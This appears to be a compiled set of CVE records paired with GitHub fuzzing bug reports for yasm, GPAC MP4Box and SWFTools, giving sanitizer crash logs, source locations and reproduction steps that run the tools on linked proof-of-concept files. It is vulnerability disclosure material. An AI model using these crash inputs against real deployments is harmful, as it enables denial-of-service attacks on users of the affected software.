address: 0x0c0c7fffc440: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa 0x0c0c7fffc450: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd 0x0c0c7fffc460: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fa 0x0c0c7fffc470: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa 0x0c0c7fffc480: fd fd fd fd fd fd fd fa fa fa fa fa 00 00 00 00 =>0x0c0c7fffc490: 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fffc4a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fffc4b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fffc4c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fffc4d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fffc4e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==4526==ABORTING ````

heap-buffer-overflow in the function expr_delete_term() at libyasm/expr.c:1019

https://api.github.com/repos/yasm/yasm/issues/250/comments

2023-11-20T14:26:40Z

2024-02-12T16:51:53Z

https://github.com/yasm/yasm/issues/250

CVE-2023-49557

2024-01-03T00:15:09.147

An issue in YASM 1.3.0.86.g9def allows a remote attacker to cause a denial of service via the yasm_section_bcs_first function in the libyasm/section.c component.

https://github.com/yasm/yasm/issues/253

github.com

**The name of an affected Product** [yasm](https://github.com/yasm/yasm) **The affected version** Commit: [9defefa](https://github.com/yasm/yasm/commit/9defefae9fbcb6958cddbfa778c1ea8605da8b8b) yasm 1.3.0.86.g9def **Description** An issue in yasm 1.3.0.86.g9def allows a attacker to cause a denial of service via the yasm_section_bcs_first function in the libyasm/section.c component. **Vulnerability Type** segmentation violation **Environment** - Operating System ```` Distributor ID: Ubuntu Description: Ubuntu 18.04.6 LTS Release: 18.04 Codename: bionic ```` - Compiler ```` Ubuntu clang version 12.0.1-++20211102090516+fed41342a82f-1~exp1~20211102211019.11 Target: x86_64-pc-linux-gnu Thread model: posix ```` **Steps to Reproduce** download [poc.zip](https://github.com/yasm/yasm/files/13466305/poc.zip), then ```` git clone https://github.com/yasm/yasm cd yasm git checkout 9defefa ./autogen.sh make distclean CC=clang \ CXX=clang++ \ CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \ CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \ ./configure make -j $(nproc) unzip poc.zip # run command ./yasm poc ```` **ASAN Info** ```` yasm: file name already has no extension: output will be in `yasm.out' AddressSanitizer:DEADLYSIGNAL ================================================================= ==4485==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000040 (pc 0x0000004fe6c6 bp 0x7ffdc1e64920 sp 0x7ffdc1e64910 T0) ==4485==The signal is caused by a READ memory access. ==4485==Hint: address points to the zero page. #0 0x4fe6c6 in yasm_section_bcs_first /yasm/libyasm/section.c:619:12 #1 0x55ad2f in parse_expr6 /yasm/modules/parsers/nasm/nasm-parse.c:1486:21 #2 0x55bbfd in parse_expr5 /yasm/modules/parsers/nasm/nasm-parse.c:1306:9 #3 0x55b8ad in parse_expr4 /yasm/modules/parsers/nasm/nasm-parse.c:1278:9 #4 0x55b54d in parse_expr3 /yasm/modules/parsers/nasm/nasm-parse.c:1250:9 #5 0x55b36a in parse_expr2 /yasm/modules/parsers/nasm/nasm-parse.c:1243:5 #6 0x55b18a in parse_expr1 /yasm/modules/parsers/nasm/nasm-parse.c:1237:5 #7 0x55904a in parse_expr0 /yasm/modules/parsers/nasm/nasm-parse.c:1231:5 #8 0x558e6a in parse_bexpr /yasm/modules/parsers/nasm/nasm-parse.c:1225:5 #9 0x55f2af in parse_operand /yasm/modules/parsers/nasm/nasm-parse.c:1043:28 #10 0x554545 in parse_instr /yasm/modules/parsers/nasm/nasm-parse.c:751:41 #11 0x55511f in parse_exp /yasm/modules/parsers/nasm/nasm-parse.c:566:10 #12 0x551e07 in parse_line /yasm/modules/parsers/nasm/nasm-parse.c:289:10 #13 0x5516e8 in nasm_parser_parse /yasm/modules/parsers/nasm/nasm-parse.c:231:18 #14 0x550fdf in nasm_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:66:5 #15 0x550985 in nasm_parser_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:83:5 #16 0x4ca7d6 in do_assemble /yasm/frontends/yasm/yasm.c:641:5 #17 0x4c832e in main /yasm/frontends/yasm/yasm.c:877:12 #18 0x7f2094cb4c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310 #19 0x41b9c9 in _start (/yasm/yasm+0x41b9c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /yasm/libyasm/section.c:619:12 in yasm_section_bcs_first ==4485==ABORTING ```` **Source Code** ````c 616 yasm_bytecode * 617 yasm_section_bcs_first(yasm_section *sect) 618 { --->619 return STAILQ_FIRST(&sect->bcs); 620 } 621 622 yasm_bytecode * 623 yasm_section_bcs_last(yasm_section *sect) 624 { ````

SEGV in yasm_section_bcs_first() at libyasm/section.c:619

https://api.github.com/repos/yasm/yasm/issues/253/comments

2023-11-26T08:48:59Z

2024-01-03T11:22:18Z

https://github.com/yasm/yasm/issues/253

CVE-2023-49558

2024-01-03T00:15:09.203

An issue in YASM 1.3.0.86.g9def allows a remote attacker to cause a denial of service via the expand_mmac_params function in the modules/preprocs/nasm/nasm-pp.c component.

https://github.com/yasm/yasm/issues/252

github.com

**The name of an affected Product** [yasm](https://github.com/yasm/yasm) **The affected version** Commit: [9defefa](https://github.com/yasm/yasm/commit/9defefae9fbcb6958cddbfa778c1ea8605da8b8b) yasm 1.3.0.86.g9def **Description** An issue in yasm 1.3.0.86.g9def allows a attacker to cause a denial of service via the expand_mmac_params function in the modules/preprocs/nasm/nasm-pp.c component. **Vulnerability Type** segmentation violation **Environment** - Operating System ```` Distributor ID: Ubuntu Description: Ubuntu 18.04.6 LTS Release: 18.04 Codename: bionic ```` - Compiler ```` Ubuntu clang version 12.0.1-++20211102090516+fed41342a82f-1~exp1~20211102211019.11 Target: x86_64-pc-linux-gnu Thread model: posix ```` **Steps to Reproduce** download [poc.zip](https://github.com/yasm/yasm/files/13465912/poc.zip), then ```` git clone https://github.com/yasm/yasm cd yasm git checkout 9defefa ./autogen.sh make distclean CC=clang \ CXX=clang++ \ CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \ CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \ ./configure make -j $(nproc) unzip poc.zip # run command ./yasm poc ```` **ASAN Info** ```` yasm: file name already has no extension: output will be in `yasm.out' AddressSanitizer:DEADLYSIGNAL ================================================================= ==4490==ERROR: AddressSanitizer: SEGV on unknown address 0x60ffffffffc8 (pc 0x00000056d207 bp 0x7ffd39055dc0 sp 0x7ffd39055740 T0) ==4490==The signal is caused by a READ memory access. #0 0x56d207 in expand_mmac_params /yasm/modules/preprocs/nasm/nasm-pp.c:4013:47 #1 0x5685cf in pp_getline /yasm/modules/preprocs/nasm/nasm-pp.c:5079:21 #2 0x56151b in nasm_preproc_get_line /yasm/modules/preprocs/nasm/nasm-preproc.c:203:12 #3 0x551395 in nasm_parser_parse /yasm/modules/parsers/nasm/nasm-parse.c:219:13 #4 0x550fdf in nasm_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:66:5 #5 0x550985 in nasm_parser_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:83:5 #6 0x4ca7d6 in do_assemble /yasm/frontends/yasm/yasm.c:641:5 #7 0x4c832e in main /yasm/frontends/yasm/yasm.c:877:12 #8 0x7f79d306fc86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310 #9 0x41b9c9 in _start (/yasm/yasm+0x41b9c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /yasm/modules/preprocs/nasm/nasm-pp.c:4013:47 in expand_mmac_params ==4490==ABORTING ```` **Source Code** ```` 4009 tt = mac->params[n]; 4010 } 4011 if (tt) 4012 { --->4013 for (i = 0; i < mac->paramlen[n]; i++) 4014 { 4015 *tail = 4016 new_Token(NULL, tt->type, tt->text, 4017 0); 4018 tail = &(*tail)->next; ````

SEGV in the function expand_mmac_params() at modules/preprocs/nasm/nasm-pp.c:4013

https://api.github.com/repos/yasm/yasm/issues/252/comments

2023-11-26T04:38:16Z

2024-03-23T09:32:24Z

https://github.com/yasm/yasm/issues/252

CVE-2023-46929

2024-01-03T19:15:08.390

An issue discovered in GPAC 2.3-DEV-rev605-gfc9e29089-master in MP4Box in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55 allows attackers to crash the application.

https://github.com/gpac/gpac/issues/2662

github.com

# SEGV in MP4Box ### Description SEGV in gpac/MP4Box. #0 0x7ffff67d35c7 in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55 ### Version ```shell MP4Box - GPAC version 2.3-DEV-rev605-gfc9e29089-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB ``` ### ASAN Log ./MP4Box -add self:hdr=none:videofmt=undef:asemode=v1-qt poc2gpac ```shell AddressSanitizer:DEADLYSIGNAL ================================================================= ==3037856==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x7ffff67d35c7 bp 0x7ffffffec090 sp 0x7ffffffe29c0 T0) ==3037856==The signal is caused by a READ memory access. ==3037856==Hint: address points to the zero page. #0 0x7ffff67d35c7 in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55 #1 0x7ffff67d6ce5 in gf_avc_change_color /afltest/gpac/src/media_tools/av_parsers.c:6950:9 #2 0x7ffff677f62c in gf_media_change_color /afltest/gpac/src/media_tools/isom_tools.c:198:3 #3 0x54e165 in import_file /afltest/gpac/applications/mp4box/fileimport.c:1670:9 #4 0x4f7d1e in do_add_cat /afltest/gpac/applications/mp4box/mp4box.c #5 0x4f7d1e in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6196:13 #6 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 #7 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /afltest/gpac/src/media_tools/av_parsers.c:6872:55 in gf_avc_change_vui ==3037856==ABORTING ``` ### Reproduction ```shell git clone https://github.com/gpac/gpac.git cd gpac ./configure --enable-sanitizer make -j24 ./bin/gcc/MP4Box -add self:hdr=none:videofmt=undef:asemode=v1-qt poc2gpac ``` ### PoC poc2gpac: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc2gpac ### **Impact** This vulnerability is capable of causing crashes. ### Reference https://github.com/gpac/gpac ### Environment ``` ubuntu:20.04 gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2) clang version 10.0.0-4ubuntu1 afl-cc++4.09 ``` ### Credit Zeng Yunxiang Song Jiaxuan

SEGV in MP4Box in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55

https://api.github.com/repos/gpac/gpac/issues/2662/comments

2023-10-24T08:09:10Z

2023-10-26T10:37:04Z

https://github.com/gpac/gpac/issues/2662

CVE-2023-50120

2024-01-10T09:15:44.290

MP4Box GPAC version 2.3-DEV-rev636-gfbd7e13aa-master was discovered to contain an infinite loop in the function av1_uvlc at media_tools/av_parsers.c. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted MP4 file.

https://github.com/gpac/gpac/issues/2698

github.com

1.Version MP4Box - GPAC version 2.3-DEV-rev636-gfbd7e13aa-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - https://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --static-bin --enable-sanitizer Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D 2.Program Output [iso file] Parsing a top-level box at position 0 [iso file] Read Box type ftyp size 32 start 0 [iso file] Parsing a top-level box at position 32 [iso file] Read Box type mv@d size 108 start 32 [iso file] Unknown top-level box type mv@d [iso file] Parsing a top-level box at position 140 [iso file] Read Box type av1C size 363 start 140 [AV1] parsed AV1 OBU type=7 size=99 at position 152. [AV1] AV1 unexpected OBU type=152 size=0 found at position 140056310360544. Forwarding. [AV1] parsed AV1 OBU type=1 size=12 at position 251. [AV1] parsed AV1 OBU type=1 size=12 at position 263. [AV1] parsed AV1 OBU type=1 size=12 at position 275. [AV1] parsed AV1 OBU type=1 size=12 at position 287. [AV1] parsed AV1 OBU type=2 size=25 at position 299. [AV1] AV1 unexpected OBU type=299 size=0 found at position 140056310360544. Forwarding. [AV1] parsed AV1 OBU type=2 size=52 at position 324. [AV1] AV1 unexpected OBU type=324 size=0 found at position 140056310360544. Forwarding. [AV1] parsed AV1 OBU type=1 size=12 at position 376. [AV1] parsed AV1 OBU type=1 size=12 at position 388. [AV1] parsed AV1 OBU type=1 size=12 at position 400. [AV1] parsed AV1 OBU type=1 size=12 at position 412. [AV1] parsed AV1 OBU type=1 size=12 at position 424. [AV1] parsed AV1 OBU type=1 size=12 at position 436. [AV1] parsed AV1 OBU type=1 size=12 at position 448. [AV1] parsed AV1 OBU type=1 size=12 at position 460. [AV1] parsed AV1 OBU type=1 size=12 at position 472. [AV1] parsed AV1 OBU type=1 size=12 at position 484. [BS] Attempt to overread bitstream 3.Reproduction ./MP4Box -v $poc 4.PoC https://www.mediafire.com/file/fspsarzrcbfceha/hangPoC/file 5.Impact This vulnerability can result in an infinite loop or lead to a denial-of-service (DoS) condition. 6.Env Linux ubuntu 5.4.0-84-generic #94~18.04.1-Ubuntu SMP Thu Aug 26 23:17:46 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 7.Credit hu1y40

Infinite loop in av1_uvlc media_tools/av_parsers.c:1664

https://api.github.com/repos/gpac/gpac/issues/2698/comments

2023-12-01T04:51:55Z

2023-12-01T10:00:42Z

https://github.com/gpac/gpac/issues/2698

CVE-2023-37644

2024-01-11T08:15:35.737

SWFTools 0.9.2 772e55a allows attackers to trigger a large memory-allocation attempt via a crafted document, as demonstrated by pdf2swf. This occurs in png_read_chunk in lib/png.c.

https://github.com/matthiaskramm/swftools/issues/202

github.com

Hi there We would like to share that the latest version of pdf2swf causes heap-buffer-overflow when executed with a crafted png input. We assume that the invalid memory access happens due to the improper processing malformed input in png_read_chunk() in spite of the error handling. Here is the output of program with address sanitizer attached. Bug Report ================================================================= ==32129==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0x9c000000 bytes #0 0x7f9ccb581808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144 #1 0x56345b1588fa in png_read_chunk /home/ubuntu/targets/swftools/lib/png.c:63 #2 0x56345b158cab in png_read_header /home/ubuntu/targets/swftools/lib/png.c:106 #3 0x56345b15bc0f in png_load /home/ubuntu/targets/swftools/lib/png.c:498 #4 0x56345b131d40 in MovieAddFrame /home/ubuntu/targets/swftools/src/png2swf.c:494 #5 0x56345b12e2f6 in main /home/ubuntu/targets/swftools/src/png2swf.c:822 #6 0x7f9ccad9e082 in __libc_start_main ../csu/libc-start.c:308 ==32129==HINT: if you don't care about these errors you may set allocator_may_return_null=1 SUMMARY: AddressSanitizer: out-of-memory ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144 in __interceptor_malloc ==32129==ABORTING ### Environment OS: Ubuntu 20.04.5 LTS Release: latest commit of master branch on this github Program: png2swf ### How to reproduce $ png2swf poc-file poc-file is attached. [poc-file.txt](https://github.com/matthiaskramm/swftools/files/11925311/poc-file.txt)

Heap-buffer-overflow when processing an png file in png_read_chunk()

https://api.github.com/repos/swftools/swftools/issues/202/comments

2023-07-01T08:50:15Z

2023-09-06T08:36:00Z

https://github.com/swftools/swftools/issues/202